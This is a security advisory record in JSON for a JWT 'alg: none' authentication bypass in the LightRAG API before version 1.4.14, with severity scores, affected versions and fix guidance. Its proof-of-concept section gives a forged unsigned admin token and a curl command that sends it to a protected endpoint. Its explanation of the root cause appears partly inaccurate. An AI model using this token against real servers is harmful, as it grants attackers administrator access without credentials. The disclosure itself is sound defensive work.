{"id":"CVE-2026-39413","aliases":["CVE-2026-39413","GHSA-8ffj-4hx4-9pgf","PYSEC-2026-2592"],"related":[],"kind":"vulnerability","state":"published","title":"LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API","summary":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.","source":"cvelist"},{"lang":"en","text":"## Summary\nThe LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the `jwt.decode()` call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.\n\n## Details\nIn `lightrag/api/auth.py` at line 128, the `validate_token` method calls:\n\n```python\npayload = jwt.decode(token, self.secret, algorithms=[self.algorithm])\n```\n\nThis allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.\n\n## PoC\nAn attacker can generate a JWT with the following structure:\n\n```json\n{\n  \"header\": {\n    \"alg\": \"none\",\n    \"typ\": \"JWT\"\n  },\n  \"payload\": {\n    \"sub\": \"admin\",\n    \"exp\": 1700000000,\n    \"role\": \"admin\"\n  }\n}\n```\n\nThen send a request like:\n\n```bash\ncurl -H \"Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0.\" http://localhost:8000/api/protected-endpoint\n```\n\n## Impact\nAn attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.\n\n## Recommended Fix\nExplicitly specify allowed algorithms and exclude 'none'. Modify the `validate_token` method to:\n\n```python\nallowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']\npayload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)\n```\n\nOr better yet, hardcode the expected algorithm(s):\n\n```python\npayload = jwt.decode(token, self.secret, algorithms=['HS256'])\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"LightRAG proporciona generación aumentada por recuperación simple y rápida. Antes de la 1.4.14, la API de LightRAG es vulnerable a un ataque de confusión de algoritmo JWT donde un atacante puede falsificar tokens especificando 'alg': 'none' en la cabecera JWT. Dado que la llamada a jwt.decode() no deniega explícitamente el algoritmo 'none', un token manipulado sin firma será aceptado como válido, lo que lleva a un acceso no autorizado. Esta vulnerabilidad se corrigió en la 1.4.14.","source":"nvd"}],"published":"2026-04-08T00:17:50.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N","score":4.2,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N","score":4.2,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N","score":4.2,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N","score":4.2,"rating":"MEDIUM"}],"cwes":["CWE-347"],"affected":[{"ranges":[{"version":"< 1.4.14","status":"affected"}],"vendor":"HKUDS","product":"LightRAG","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.14"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.4.14"}],"vendor":"hkuds","product":"lightrag","cpe":"cpe:2.3:a:hkuds:lightrag:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.14"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"pysec"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-8ffj-4hx4-9pgf","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/github/advisory-database/issues/7373","tags":[],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39413","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/commit/728f2e54509d93e0a44f929c7f83f2c88d6d291b","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-8ffj-4hx4-9pgf","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-08T20:18:28.117Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39413","url":"https://www.cve.org/CVERecord?id=CVE-2026-39413","licence":"CVE Terms of Use","modified":"2026-04-22T15:28:31.845Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8ffj-4hx4-9pgf","url":"https://github.com/advisories/GHSA-8ffj-4hx4-9pgf","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:36.700Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39413","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2592","url":"https://osv.dev/vulnerability/PYSEC-2026-2592","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:03.185Z"}],"updatedAt":"2026-11-25T22:59:18.307Z","epss":{"score":0.00185,"percentile":0.08429,"date":"2026-12-01T12:00:22.000Z"}}